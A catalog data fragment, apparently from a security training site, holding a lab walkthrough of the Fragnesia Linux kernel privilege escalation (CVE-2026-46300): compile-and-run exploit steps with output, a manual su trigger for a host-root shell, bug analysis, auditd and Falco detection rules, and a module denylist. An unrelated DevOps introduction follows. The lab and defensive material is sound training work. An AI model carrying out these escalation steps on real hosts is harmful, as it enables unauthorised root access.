","timeToComplete":30,"title":"CVE-2026-42945: Nginx Rift","type":"walkthrough","order":1},{"_id":"6a0829b517341bf142cac0e9","businessOnly":false,"code":"cve202646300","collaborator":[],"contentDropPriority":0,"description":"Exploit Fragnesia, an LPE that surfaced due to dirtyfrag's patch.","difficulty":"easy","difficultyLevel":2,"flags":{"isAzureContent":false},"freeToUse":true,"headerImage":"https://tryhackme-images.s3.eu-west-1.amazonaws.com/room-icons/645b19f5d5848d004ab9c9e2-1778053654693","imageURL":"https://tryhackme-images.s3.amazonaws.com/room-icons/645b19f5d5848d004ab9c9e2-1778924266488","isShortScenario":false,"kind":"rooms","lastSyncedAt":"2026-05-27T07:00:14.838Z","noUsers":561,"paidAccess":{"active":false,"streak":{"enabled":false}},"published":"2026-05-25T15:00:04.455Z","roomCreatorType":"tryhackme","rooms":[],"scenarioFlags":[],"tagDocs":[{"tag":"Security Analyst/ Blue Team","label":"Security Analyst/ Blue Team","weight":1,"category":"Job Roles","_id":"6a1696845ba5af21a079fe20"},{"tag":"Penetration Tester/ Red Team","label":"Penetration Tester/ Red Team","weight":1,"category":"Job Roles","_id":"6a1696845ba5af21a079fe21"},{"tag":"Linux","label":"Linux","weight":1,"category":"Technology","_id":"6a1696845ba5af21a079fe22"},{"tag":"Purple","label":"Purple","weight":1,"category":"PoV","_id":"6a1696845ba5af21a079fe23"},{"tag":"Privilege escalation","label":"Privilege escalation","weight":1,"category":"Skills","_id":"6a1696845ba5af21a079fe24"},{"tag":" Linux Privilege Escalation","label":" Linux Privilege Escalation","weight":1,"category":"General","_id":"6a1696845ba5af21a079fe25"},{"tag":"segment 2.5","label":"segment 2.5","weight":1,"category":"Segment","_id":"6a1696845ba5af21a079fe26"}],"tags":["Security Analyst/ Blue Team","Penetration Tester/ Red Team","Linux","Purple","Privilege escalation"," Linux Privilege Escalation","segment 2.5"],"taskSearchText":" ExploitationWhen the machine is started, the room opens a split-view terminal already logged in as the unprivileged user karen. The steps below should be followed in order in that terminal. To connect from your own machine over SSH instead, use the username karen and the password fragnesia2026:
ssh karen@MACHINE_IPEither approach lands you at the same prompt.
\nkaren@fragnesia:~$ id\nuid=1001(karen) gid=1001(karen) groups=1001(karen)No elevated privileges, no special groups.
\nThe exploit lives at /home/karen/fragnesia/fragnesia.c. Build it with the following command:
cd /home/karen/fragnesia\ngcc -O2 -w fragnesia.c -o expThe -w flag suppresses several harmless warnings in the published source. The warnings concern unused functions left over from the developer's debug helpers, a non-null execve argument that the exploit relies on, and an ignored write return value in the terminal-reset code. None of them affect the exploit's behaviour. The build completes in a second or two.
The Fragnesia exploitation is a two-stage process. Stage one corrupts the page cache copy of /usr/bin/su using the espintcp write primitive; this is what the published proof-of-concept automates. Stage two triggers the corrupted binary from outside the user namespace, which is what produces the host-root shell. The proof-of-concept does not perform stage two automatically; the operator does it manually after the exploit exits.
Run the exploit:
\n./expThe exploit prints a long progress trace as it works through the chain. The output below is condensed for readability; the actual run on the lab machine is several hundred lines longer.
\nkaren@fragnesia:~/fragnesia$ ./exp\n[*] uid=1001 euid=1001 gid=1001 egid=1001\n[*] mode=xfrm_espintcp_pagecache_replace collateral=after\n[*] target=/usr/bin/su size=55680\nouter_write_open_denied=1 errno=13 (Permission denied)\nuserns_setup: outer_uid=1001 outer_gid=1001 ns_uid=0 ns_gid=0\nnetns_setup=1\nloopback_up=1\nxfrm_espintcp_state_add=1\nnamespace_setup_complete=1\nuserns_root_mapped_to_outer_user_write_open_denied=1 errno=13 (Permission denied)\n[*] timing: rx_pre_ulp=30000us tx_pre_splice=1000us rx_post_ulp=30000us\n[*] range: offset=0x0 len=192 last=0xbf enc_len=4080 splice_len=4096\n[*] payload=7f454c4602010100... (192 bytes of ELF stub)\nstream0_table_entries=256\n[*] smashing 192 bytes into read-only page cache changed=176 skipped=16 remaining=0\n 0000 7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00\n 0010 02 00 3e 00 01 00 00 00 78 00 40 00 00 00 00 00\n ...\n 00b0 2f 62 69 6e 2f 73 68 00 00 00 00 00 00 00 00 00\n [==================================================] 192/192 (100%)\n[*] verifying 192 bytes...\n[*] bytes_flip_summary len=192 changed=176 skipped=16\n[+] BUG: changed requested copied byte range to desired values\n# whoami
root
# cat /root/flag.txt
cat: /root/flag.txt: Permission deniedThe shell prompt has changed from $ to #, and whoami returns root. This is the proof-of-concept's own verification step, but the shell it lands in is not yet a host-root shell. A few details from this output deserve closer attention before moving on to stage two.
outer_write_open_denied=1 errno=13 confirms that karen does not have write access to /usr/bin/su from outside the namespace. This is the permission boundary the exploit is about to cross.userns_setup: ... ns_uid=0 ns_gid=0 shows that karen is mapped to UID 0 inside a new user namespace, granting CAP_NET_ADMIN for the XFRM operations that follow without any real privileges on the host.changed=176 skipped=16 line is significant. The exploit's ELF stub is 192 bytes long, but /usr/bin/su is itself an ELF binary, so its first few bytes (7f 45 4c 46 02 01 01 00 ...) already match the stub. The per-byte loop skips those, and only the 176 bytes that differ are actually written.[+] BUG: ... is the proof-of-concept's execve(\"/usr/bin/su\") call running inside the user namespace. Inside the namespace, karen is mapped to UID 0, so the shellcode's setuid(0) is a no-op and the resulting shell is namespace-root.cat /root/flag.txt returns Permission denied because /root/flag.txt is owned by the host's real UID 0, which the namespace cannot read. The namespace presents files owned by unmapped UIDs as owned by nobody (UID 65534).This is the expected result of stage one. The corruption is done, but the host privilege boundary has not yet been crossed. Stage two does that.
\nExit the namespace shell to return to karen's regular shell:
\n# exitThe prompt returns to karen@tryhackme-2204:~/fragnesia$, indicating you are back outside the namespace as UID 1001. The page cache, however, is still corrupted. The kernel's page cache is global to the host and persists across namespace boundaries; only an eviction or a drop_caches would clear it.
Now run /usr/bin/su from karen's regular shell:
/usr/bin/sukaren@fragnesia:~/fragnesia$ /usr/bin/su\n# whoami\nroot\n# id\nuid=0(root) gid=0(root) groups=0(root)This time the shell really is host-root. The sequence of events at the kernel level is the following.
\nexecves /usr/bin/su. The on-disk file has the setuid bit set with owner root.setgid(0) and setuid(0). Because the effective UID is already 0 at the host level, setuid(0) succeeds and sets the real UID to 0 as well.execve(\"/bin/sh\", ...), spawning a shell with real UID 0.The result is a real host-root shell. The fact that the namespace step was needed to gain CAP_NET_ADMIN for the XFRM operations is now irrelevant; the shell is a child of karen's regular shell and lives entirely outside any user namespace.
From the host-root shell, the flag is now readable:
\n# cat /root/flag.txtThe Permission Denied error from stage one has disappeared because the process is now genuinely host UID 0, not namespace UID 0.
\nConfirm that the on-disk binary was never modified:
\n# sha256sum /usr/bin/suThe hash matches a freshly-installed Ubuntu kernel build. The exploit only modified the in-memory page cache copy; the on-disk binary was never touched. AIDE, Tripwire, IMA, and any other file integrity tool that reads from disk would report this file as clean. The corruption only exists in the kernel's page cache and is visible only to processes that read through that cache.
\nThe proof-of-concept does not automatically clean up after itself, so subsequent invocations of su will continue to re-spawn the root shell until the corrupted pages are evicted. Drop them manually before leaving the machine:
# exit\nkaren@fragnesia:~/fragnesia$ sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'The kernel evicts the corrupted pages from the cache. The next read of /usr/bin/su reloads the clean copy from disk, and /usr/bin/su returns to its normal behaviour.
Warning: Re-running the exploit after dropping the cache is fine. The page cache is reloaded from a clean disk every time, and the exploit re-corrupts a fresh page each run. Leaving a machine with corrupted pages in the cache is poor hygiene; always drop or reboot after testing.
IntroductionFragnesia is the third Linux kernel local privilege escalation vulnerability in the page-cache write class to be disclosed in under three weeks. It was reported by William Bowling, head of assurance at Zellic, who discovered the bug using V12, Zellic's AI-agentic security auditing tool. The vulnerability was assigned CVE-2026-46300 with a CVSS v3.1 base score of 7.8 (High). Public disclosure landed on 13 May 2026, alongside a working proof-of-concept and a candidate upstream patch.
What makes Fragnesia notable is not the primitive itself, which is now familiar from Copy Fail and Dirty Frag, but the way it came into existence. The Dirty Frag patch (f4c50a4034e6, merged 8 May 2026) added code that trusts a particular socket buffer flag to be accurate. As of 13 May, that flag is not always accurate. Fragnesia is the vulnerability that the Dirty Frag fix introduced. Hyunwoo Kim, who reported the original Dirty Frag pair, has publicly acknowledged that Fragnesia emerged as an unintended side effect of one of the patches written to remediate his own bug.
Two points are worth establishing upfront. First, this is the same broad attack surface as Dirty Frag (XFRM, ESP, the page cache) but it lives in a different code path. The original Dirty Frag bugs were in esp_input() and rxkad_verify_packet_1(). Fragnesia is in skb_try_coalesce(), the function that merges socket buffers. Second, the published proof-of-concept covers only the espintcp variant; a second variant in skb_segment() was disclosed by the same researcher the day after the initial Fragnesia patch landed, and as of 15 May 2026 that variant remains unpatched.
The vulnerability class continues to evolve, which is the operational lesson the room is built around.
\n| Property | \nCopy Fail | \nDirty Frag | \nFragnesia | \n
|---|---|---|---|
| CVE | \nCVE-2026-31431 | \nCVE-2026-43284 / 43500 | \nCVE-2026-46300 | \n
| Kernel subsystem | \nAF_ALG / splice | \nxfrm-ESP UDP / RxRPC | \nxfrm-ESP-in-TCP / skb coalescing | \n
| Write primitive size | \n4 bytes | \n4 bytes (ESP) / 8 bytes (RxRPC) | \n1 byte (per trigger) | \n
| Race condition required | \nNo | \nNo | \nNo | \n
| Container escape impact | \nYes | \nYes | \nYes | \n
| Patch state | \nMainline | \nxfrm-ESP mainline; RxRPC unpatched | \nFirst variant on netdev; second variant unpatched | \n
The 1-byte write primitive looks small compared to its predecessors, but it is deterministic. Each trigger writes one chosen byte at one chosen offset in the page cache. A 192-byte ELF stub is delivered across as many triggers as needed (typically around 176, since some bytes coincidentally already match the target file), and the full sequence completes in a few hundred milliseconds.
\nBy the end of this room, you will be able to:
\nskb_try_coalesce() and the SKBFL_SHARED_FRAG marker in the Fragnesia chainThis room assumes comfort with the Linux command line and a working understanding of local privilege escalation. The companion rooms Copy Fail and Dirty Frag are strongly recommended; Fragnesia builds directly on the page-cache write primitive introduced in those rooms.
\nClick the Start Lab Machine button at the top of this task and allow about a minute for it to boot. The room launches an in-browser split-view terminal already logged in as the unprivileged user karen. Credentials for SSH access from your own machine are provided in Task 4.
The original Dirty Frag xfrm-ESP bug (CVE-2026-43284) was that esp_input() took a fast path skipping skb_cow_data() for any uncloned, non-linear skb with no frag list. The fast path was unsafe because the skb's fragments could be backed by page-cache pages planted via splice().
The patch, commit f4c50a4034e6, added two pieces of code. First, the IPv4 and IPv6 datagram append paths were updated to set SKBFL_SHARED_FRAG on splice'd fragments. Second, esp_input() was updated to check skb_has_shared_frag() before taking its fast path. The reasoning was correct, the implementation was correct, and the patch closed the original Dirty Frag bug as intended.
What the patch did not do was audit every code path that touched SKBFL_SHARED_FRAG to verify it preserved the flag. skb_try_coalesce() was one such path. It already existed, had been present since 2013, and had been incorrectly stripping the flag for thirteen years. Until the Dirty Frag patch, no production code path made a critical decision based on the flag, so the bug was latent. After the patch, esp_input() started making exactly that decision.
The candidate Fragnesia patch carries two Fixes: tags. One points at the Dirty Frag patch (f4c50a4034e6). The other points at the original skb_try_coalesce() commit from 2013 (cef401de7be8). The tags tell two stories in two lines: the immediate trigger, and the latent precondition.
![\"Timeline](\"https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/645b19f5d5848d004ab9c9e2-1778925794757.svg\")
The candidate Fragnesia patch (f84eca581739, on the netdev list since 13 May 2026) is anchored on a two-line change to skb_try_coalesce(). When transferring paged fragments between buffers, the patched function now propagates the SKBFL_SHARED_FRAG flag from the source skb to the destination skb. The invariant esp_input() depends on is restored.
The full series is larger than the headline two-line fix suggests. Beyond the core repair to skb_try_coalesce(), it includes a flag-propagation fix in pskb_copy(), an XFRM change to avoid in-place decrypt on shared skb fragments, and a cluster of follow-up fixes to rxrpc covering DATA and RESPONSE packet unsharing, re-decryption of RESPONSE packets, rxkad alignment, memory leaks in rxkad_verify_response(), and a potential use-after-free. The size of the follow-up series is itself an indicator that the bug class is broader than any single bug.
The implication is broader still. The same audit should be repeated for every function that transfers fragments between skbs, because any function that strips the flag is potentially another Fragnesia waiting for a downstream consumer to make a decision based on it.
\nOn 15 May 2026, two days after the initial Fragnesia disclosure, the same V12 researcher published a second variant. This variant bypasses the merged fix by exploiting skb_segment() instead of skb_try_coalesce(). The function propagates SKBFL_SHARED_FRAG only from the head skb when building GSO segments, so a frag_list member carrying page-cache-backed fragments with the flag set will produce segment skbs that have lost the marker.
Triggering the second variant requires three network namespaces connected by veth pairs and is less reliable than the first because it depends on GRO coalescing two segments in the same NAPI poll cycle. As of the room's publication date, the second variant has no merged fix. A separate patch has been proposed on netdev that would incidentally help, but it was not written to address this specific bug.
\nThe operational point is that Fragnesia is unlikely to be the last vulnerability of its shape. The bug class is invariant violations on SKBFL_SHARED_FRAG. Every function in the kernel's skb plumbing that transfers fragments is a candidate location for the next instance.
Info: The original Dirty Frag bugs took nine years and six years respectively to be found from their introducing commits. Fragnesia took five days to be found from the commit that introduced it. The rate of discovery in this code area has shifted, and the V12 team has publicly attributed part of that to agentic AI-assisted auditing. Whether or not that framing is accurate, the operational reality is that defenders should treat kernel patches in this subsystem as changes to the attack surface, not as completed mitigations.
How a Patch Becomes a VulnerabilityFragnesia is a single chain involving five components, four of which existed before the Dirty Frag patch was written. The fifth is what the Dirty Frag patch added. Understanding how the chain works requires walking through the components individually, then seeing how the patch changed which paths could reach the in-place decryption sink.
\nA socket buffer (struct sk_buff) carries an array of fragments, each describing a memory page that belongs to the packet. Most fragments are private buffers owned by the network stack. Some, however, are references to pages that belong to other subsystems, most commonly the page cache. When a process calls splice() to send a file's contents through a socket, the kernel attaches a reference to the file's page-cache page directly to the outgoing skb's fragment list, without copying any bytes.
The SKBFL_SHARED_FRAG flag is the kernel's way of marking such fragments as externally owned. The flag tells every downstream code path one thing: \"this memory does not belong to you; if you need to modify it, copy it first.\" Functions that need to mutate skb data check skb_has_shared_frag() and call skb_cow_data() to obtain a private buffer before doing anything destructive.
The flag is an invariant. As long as every code path that touches a shared fragment respects it, page-cache pages stay safe even as they pass through the network stack.
\nskb_try_coalesce() is a kernel function that merges two skbs into one. It is used by the TCP stack on the receive side to combine queued segments into larger buffers, reducing memory overhead and improving throughput. When two skbs are coalesced, the second skb's fragments are transferred onto the first skb's fragment array, and the second skb is freed.
This is where the bug lives. When skb_try_coalesce() transfers paged fragments between buffers, it does not propagate the SKBFL_SHARED_FRAG marker on those fragments. The coalesced skb ends up carrying fragments that are still backed by the page cache, but with the flag cleared. To every downstream code path, the coalesced skb now looks like a perfectly ordinary private buffer that can be modified in place.
The bug was introduced in 2013 (commit cef401de7be8) and sat dormant for thirteen years, because for most of that time no production code path looked at coalesced skbs and decided to write to them. The Dirty Frag patch changed that.
ESP-in-TCP (RFC 8229) is an IPsec transport mode that encapsulates ESP packets inside a TCP stream. It is used in NAT-traversal scenarios where UDP-based ESP encapsulation does not work. When a TCP socket is configured for espintcp via setsockopt, the kernel switches the socket's Upper Layer Protocol (ULP) handler to one that pulls ESP packets out of the TCP byte stream and feeds them to esp_input().
esp_input() is the function the original Dirty Frag bug lived in. It performs AEAD decryption on the incoming packet's payload, writing the plaintext back into the skb. For performance, the decryption is done in place when the input skb is uncloned and has no frag list. The function calls skb_has_shared_frag() to verify that none of the fragments are externally backed. If the flag is clear, the function takes the fast path; if it is set, the function falls back to allocating a private buffer via skb_cow_data() before decrypting.
This is exactly the check the Dirty Frag patch added. Before the patch, the function did not always honour the flag. After the patch, the function does. The patch was correct. The flag, however, is no longer trustworthy after skb_try_coalesce() strips it.
Putting the four components together produces the chain:
\n1. Attacker opens a TCP socket and splices /usr/bin/su's page cache pages\n into the socket's receive queue (skbs are flagged SKBFL_SHARED_FRAG).\n2. Kernel coalesces queued skbs via skb_try_coalesce(); the flag is lost.\n3. Attacker calls setsockopt(TCP_ULP, \"espintcp\") to switch the socket to\n ESP-in-TCP mode. Queued data is now processed as ESP ciphertext.\n4. esp_input() checks the (now-clear) shared-frag flag, takes the fast\n path, performs AES-GCM decryption in place over the page cache page.\n5. The decryption is a XOR of the AES-GCM keystream against the ciphertext.\n By choosing the IV, the attacker chooses the keystream byte, which\n chooses the byte written into the page cache.The technique is called Fragnesia (a portmanteau of \"fragment\" and \"amnesia\") because the socket buffer forgets that its fragment was shared.
\nThe corruption sits in the kernel's global page cache, which is shared between every process on the host regardless of which namespace any of those processes lives in. The attacker performs the corruption from inside a user namespace where they hold namespace-root, but the corrupted bytes are visible to any process that subsequently reads the same file, including privileged processes running outside the namespace.
\nThe privilege escalation completes when a setuid-root binary like /usr/bin/su is executed from outside the namespace. The kernel loads the binary from the corrupted page cache, sees the setuid bit on the on-disk file, sets effective UID to 0, and then executes the attacker's shellcode under that effective UID. The shellcode calls setuid(0), which promotes the calling process to real UID 0, and then execve(\"/bin/sh\"), which spawns a host-root shell.
This two-stage pattern matters for the practical exploit walkthrough in Task 4. The published proof-of-concept performs only stage one (the corruption) and demonstrates its success by spawning a shell from inside the namespace. That shell appears to be root by whoami, but it cannot read root-owned files because it is namespace-root, not host-root. Stage two, which is what produces the usable host-root shell, is triggered by the operator running /usr/bin/su manually from outside the namespace after the proof-of-concept exits.
![\"Diagram](\"https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/645b19f5d5848d004ab9c9e2-1778925769795.svg\")
Each AES-GCM decryption produces a one-byte controlled write into the page cache at one chosen offset. The attacker controls the byte by varying the lower 32 bits of the 8-byte IV. Encrypting the counter block under the known AES-128-GCM key yields a 16-byte keystream; only the byte at position 2 byte 0 is used. By iterating the IV nonce through up to 65,536 values, all 256 possible byte values are reachable.
\nThe exploit pre-computes a 256-entry lookup table mapping target bytes to the IV values that produce them. With the table built, each write is a single trigger that completes in microseconds. The public proof-of-concept overwrites the first 192 bytes of /usr/bin/su with a small ELF stub that calls setgid(0); setuid(0); execve(\"/bin/sh\", ...) at its entry point. The exploit's per-byte loop skips bytes whose current value already matches the desired stub; against /usr/bin/su on a typical Linux system, around sixteen bytes coincide (most of the ELF header), so roughly 176 actual triggers run. The full sequence completes in a few hundred milliseconds.
The on-disk file is never touched. File integrity tools that hash from disk continue to report the file as clean. This is identical to the behaviour seen in Copy Fail and Dirty Frag, and the consequences are the same.
Detection and MitigationThe Fragnesia exploitation pattern is detectable in real time through the same syscall-monitoring approach used for Copy Fail and Dirty Frag, with one specific signal that is new to this CVE.
\nThe exploit's signature is a sequence of system calls that no legitimate application produces:
\nunshare(CLONE_NEWUSER | CLONE_NEWNET) followed by writes to /proc/self/uid_mapsocket(AF_ALG, ...) calls used to build the keystream lookup tablesocket(AF_INET, SOCK_STREAM) followed shortly by setsockopt(SOL_TCP, TCP_ULP, \"espintcp\")splice() from a setuid binary file descriptor into the same TCP socketXFRM_MSG_NEWSA netlink messages registering a security association with a known AES-128-GCM keyexecve(\"/usr/bin/su\", ...) and a child process running with effective UID 0The TCP_ULP = \"espintcp\" setsockopt is the highest-fidelity single signal. Legitimate use of espintcp is rare; it is primarily seen in strongSwan deployments configured for NAT traversal in environments where UDP-encapsulated ESP does not work. A process outside that small set of daemons issuing the setsockopt is unusual; a process outside that set issuing the setsockopt and then immediately splicing a setuid binary into the socket is exploitation.
![\"Diagram](\"https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/645b19f5d5848d004ab9c9e2-1778925830227.svg\")
An auditd rule that captures the setsockopt path:
\n-a always,exit -F arch=b64 -S setsockopt -F a0!=-1 -k fragnesia_setsockopt\n-a always,exit -F arch=b64 -S unshare -F a0=0x10000000 -k fragnesia_unshare\n-a always,exit -F arch=b64 -S splice -k fragnesia_spliceThe first rule logs all setsockopt calls (the auditd kernel API does not allow filtering on the optname argument directly); correlation has to happen in the SIEM. The second logs unshare() calls that include CLONE_NEWUSER (0x10000000). The third logs all splice calls, which can be high-volume; restrict the scope by adding -F path=/usr/bin/su or similar if your audit subsystem supports it.
A Falco rule that captures the Fragnesia-specific signal of espintcp ULP activation after a splice from a setuid binary into the same TCP socket:
\n- list: setuid_binaries\n items: [/usr/bin/su, /bin/su, /usr/bin/sudo, /usr/bin/passwd, /usr/bin/chsh]\n\n- macro: espintcp_legitimate_processes\n condition: >\n proc.name in (charon, charon-systemd, pluto, swanctl)\n\n- rule: Potential Fragnesia exploit (espintcp ULP after splice)\n desc: >\n Detects an unprivileged process that splices a setuid binary into a\n TCP socket and then activates the espintcp ULP on it, the trigger\n pattern for CVE-2026-46300.\n condition: >\n (evt.type = splice and fd.name in (setuid_binaries)) or\n (evt.type = setsockopt and evt.arg.optname = TCP_ULP and\n not espintcp_legitimate_processes)\n output: >\n Potential Fragnesia trigger\n (user=%user.name uid=%user.uid command=%proc.cmdline pid=%proc.pid\n fd=%fd.name container_id=%container.id)\n priority: CRITICAL\n tags: [host, exploit, privilege_escalation, cve_2026_46300]The first arm of the condition catches the page-cache page entering the TCP socket. The second arm catches the espintcp ULP activation that triggers the in-place AES-GCM decryption. Either signal alone is suspicious; both signals in the same process within a few seconds is exploitation. Note that the legitimate-process allowlist for espintcp ULP is small — strongSwan's charon daemon and a handful of related IKE daemons. Any process outside that list activating espintcp warrants investigation.
| Syscall | \nWhat to Watch For | \nRelevance | \n
|---|---|---|
unshare(CLONE_NEWUSER | CLONE_NEWNET) | \nUnprivileged process creating both namespaces | \nHigh-confidence first step | \n
setsockopt(TCP_ULP, \"espintcp\") | \nProcess not in known strongSwan/IPsec daemon list | \nSpecific to Fragnesia, very low false positive | \n
socket(AF_ALG, ...) with SOCK_SEQPACKET | \nProcess not in kcapi-* or cryptsetup set | \nSame signal used in Copy Fail detection | \n
splice() from a setuid binary fd to a TCP socket fd | \nPage-cache page entering the TCP receive queue | \nTrigger preparation | \n
XFRM_MSG_NEWSA netlink with known weak key | \nUnusual SA registration pattern | \nBulk SA registration in microseconds | \n
| Technique | \nMITRE ID | \nWhere it appears | \n
|---|---|---|
| Exploitation for Privilege Escalation | \nT1068 | \nThe kernel LPE itself | \n
| Abuse Elevation Control Mechanism: Setuid and Setgid | \nT1548.001 | \nexecve(\"/usr/bin/su\") after page cache corruption | \n
| Escape to Host | \nT1611 | \nWhen the exploit is run from inside a container | \n
| Indicator Removal | \nT1070 | \nManual drop_caches after exploitation | \n
The candidate upstream fix is commit f84eca581739, posted to the netdev mailing list on 13 May 2026. It is a two-line change to skb_try_coalesce() that preserves the SKBFL_SHARED_FRAG marker when transferring paged fragments. At the time the room was prepared, the patch was awaiting maintainer review and not yet merged to Linus's tree.
Distribution patches are arriving in advance of the mainline merge. AlmaLinux released patched kernels for AL8, AL9, and AL10 in its testing repository on 13 May, refreshed the builds on 14 May to incorporate the follow-up patches, and is moving them to production once community testing completes. CloudLinux, SUSE, Debian, and Ubuntu have published advisories; per-release status varies and updates as patches land.
\nUntil your distribution ships a patched kernel, the same modprobe denylist used for Dirty Frag is effective against Fragnesia.
\nStep 1: Apply the Module Denylist
\nsudo sh -c 'printf \"install esp4 /bin/false\\ninstall esp6 /bin/false\\ninstall rxrpc /bin/false\\n\" > /etc/modprobe.d/dirtyfrag.conf'\nsudo rmmod esp4 esp6 rxrpc 2>/dev/null\nsudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'The configuration file blocks future loads of esp4, esp6, and rxrpc. The rmmod line unloads any currently-loaded copies. The drop_caches line evicts any corrupted pages already in the cache.
Step 2: Verify the Block Is Active
\nsudo modprobe esp4The command should return an error. The module is blocked from loading.
\nStep 3: Confirm the PoC Fails
\nRe-run the exploit:
\n/home/karen/fragnesia/expThe exploit should fail when the espintcp ULP setsockopt is rejected because the esp4 module is no longer available. The chain cannot proceed past that point.
Warning: The denylist breaks legitimate use of IPsec ESP and AFS RxRPC. Production hosts running strongSwan, libreswan, or AFS clients should not apply this mitigation; they need a patched kernel instead. For development and lab environments and for most server workloads that do not use these protocols, the modules are unused and the denylist is safe. Importantly, organisations that applied the modprobe denylist as part of the Dirty Frag mitigation are already protected against Fragnesia. Organisations that applied only the Dirty Frag kernel patch are not.
\nThe Fragnesia disclosure compressed the typical patch-then-disclosure timeline. The PoC, the candidate patch, and the public writeup all appeared on the same day, with no embargo. The two-line nature of the fix and the small number of Fixes: tags it carries (two) hint that the same code area will receive more audit attention in the coming weeks, and the unpatched second variant in skb_segment() is already evidence of that.
The kernels affected span every release before 13 May 2026 that includes the Dirty Frag fix. Older kernels without the Dirty Frag fix have the underlying skb_try_coalesce() bug but no consumer that makes a decision based on the stripped flag; they are technically affected by the latent defect but not exploitable via Fragnesia specifically.
Fragnesia is a one-byte page-cache write primitive in the Linux kernel that arose from a regression introduced by an earlier security patch. It is the third vulnerability in this class to be disclosed in three weeks, alongside Copy Fail and Dirty Frag, and the second variant published two days after the initial disclosure remains unpatched as of the room's publication date.
\nTwo operational lessons from this chain of disclosures deserve to be carried forward.
\nThe first lesson is that kernel patches are not containment events for a bug class. The Dirty Frag fix closed the original bugs, but it did so by introducing new code that trusts an invariant. The invariant was not audited, and the audit gap became Fragnesia. Defenders responsible for kernel-adjacent attack surfaces should treat each patch in subsystems like XFRM, AF_ALG, io_uring, BPF, and RxRPC as a change to the attack surface rather than a completed mitigation. Subsequent audits in the same subsystem are warranted, not optional.
\nThe second lesson is that the page-cache write class is sufficiently general that distribution patches do not solve the problem on their own. The on-disk file is never touched, so file integrity tools miss the corruption entirely. Detection has to happen at the syscall layer, in real time, with rules that watch for the syscall sequences that no legitimate application produces. Filesystem forensics alone will not surface this attack after the fact.
\nA third operational consideration applies to container environments. The page cache is shared across all processes that use the same kernel, including every container on the same host. A containerised process that can create unprivileged user namespaces, which is the default in rootless Docker and Podman deployments, has every prerequisite the Fragnesia exploit needs. Privileged containers are not required, nor is any special capability. Multi-tenant Kubernetes clusters, shared CI runners, and any host running rootless container workloads should be treated as exposed until a patched kernel is in place.
\nThe kernel update to a build that includes the merged Fragnesia fix should be applied as soon as your distribution makes one available. The modprobe denylist of esp4, esp6, and rxrpc is an effective interim control on hosts that do not depend on those modules, and protects against the unpatched second variant as well. Defenders running strongSwan, libreswan, or AFS clients in production will need to wait for vendor-backported patches.
Since its inception, Developer Operations (DevOps) has become a significant influence in modern Software Development, Deployment and Operations. But where did the term come from?
\nA long time ago, we used waterfalls.
\nThis is the name given to how project management was approached back in the day (the 70s). The cycle constituted and relied on a hierarchy, where every member had a specific responsibility. For example, System admins worked tirelessly to keep everything running smoothly and afloat. Developers build and add as many features as possible, and finally, Quality Assurance (QA) engineers test the system's functionality, ensuring everything works as expected.
\n![\"Diagram](\"https://tryhackme-images.s3.amazonaws.com/user-uploads/61a7523c029d1c004fac97b3/room-content/21ff900651b19689600a2a7d0cd2fcea.png\")
If anything troubles the servers or something needs deployment, sysadmins will jump on it. If it's a code problem, devs will put out the fire. If there is anything to do with testing functionality and feedback, Quality Assurance teams will take care of it. But what if there is a flaw? A bug? Who fixes it? These situations led to many blame games and passing the baton around that created friction, things would get backlogged, and the symbiosis between teams would end up not working anymore. As the number of customer expectations grew, features and new releases increased. Responsibilities and tasks would end up being an accumulative, giant mess. Bugs and security flaws were backlogged, plenty of these unresolved, and more releases scheduled, which would be not scalable and messy. Excessive noise and pressure led to distrust, communication gaps, and friction between teams.
\nThis popular problem-solving strategy and system became a root cause of ineffectiveness in flexibility and communication across teams.
\nWith the challenges teams were facing with waterfall, businesses started developing ways that allowed more flexibility and adaptability. Somewhere in early 2000, The Agile Methodology was coined. Soon, a manifesto was released: Agile Manifesto, emphasising four values for agile development:
\n![\"Diagram](\"https://tryhackme-images.s3.amazonaws.com/user-uploads/61a7523c029d1c004fac97b3/room-content/db09323bd5eed6fb32de796bdb20196f.png\")
Companies now value team collaboration and rely on self-organising teams, focusing on clients and plenty of room for change and flexibility.
\nBut something was still missing.
\nIn 2008, a conversation between Andrew Clay and Patrick Debois led to something quite revolutionary. While discussing the drawbacks of Agile, DevOps was born. After an event in Belgium the following year called \"DevOpsDays,\" DevOps became the next buzzword, and its popularity increased.
\nDevOps is quite different from the previous methodologies because it focuses on driving \"cultural change\" to increase efficiency. It does this by uniting the magic of all teams working on a project, using integration and automation. With these ingredients, you get a cross-integration across all departments, QA + sysadmins + developers. For example, ensuring developers can now be involved in deployment and sysadmins can now write scripts, QA can figure out how to fix flaws vs constantly testing for functionality. By introducing automation and integration of systems, these engineers can now have the same visibility at all times and interact accordingly. We will dive more into how DevOps does this in the latter rooms as we talk about pipelines, automation, Continuous Integration and Continuous Delivery (CI/CD).
\nDevOps builds a philosophy that emphasises building trust and better liaising between developers and other teams (sysadmins, QA, etc.). This helps the organisation align technological projects to business requirements, increasing the impact and value to the business as projects become more efficient and prioritised accordingly. Changes rolled out are usually small and reversible, visible to all teams involved. This ensures better contribution and communication that helps with the pace and an increased competency when delivering work.
\nThanks to the advent of DevOps, today's development infrastructure is fully automated and operates on a self-service basis:
\n*The declarative approach requires that users specify the end state of the infrastructure — for example, deploy these machines in a running state directly into an environment, automating the configuration choices throughout the workflow. The software builds it and releases it with no human interaction.
\nThe imperative/procedural approach takes action to configure systems in a series of actionable steps. For example, you might declare to deploy a new version of the software and automate a series of steps to get a deployment-ready state. You choose when to apply those changes at the end by adding a \"gate\" — this gate could be a button to release the changes, e.g. \"deploy changes\" button, after all the automated checks and new configurations pass.
\nIn such a workflow, even a tiny problem could create a mess. Moreover, as the number of new releases increases (the actual case), the whole matter may turn disastrous. Things would surely go out of hand with an issue still unresolved and plenty of features scheduled to be released.
\nRead more at: https://www.appknox.com/blog/history-of-devops
Shifting LeftIntroduction
\nSecurity can now be easily integrated because of the visibility and flexibility that DevOps introduces. You might have heard of the concept \"Shifting Left.\" This means that DevOps teams focus on instilling security from the earliest stages in the development lifecycle and introducing a more collaborative culture between development and security.
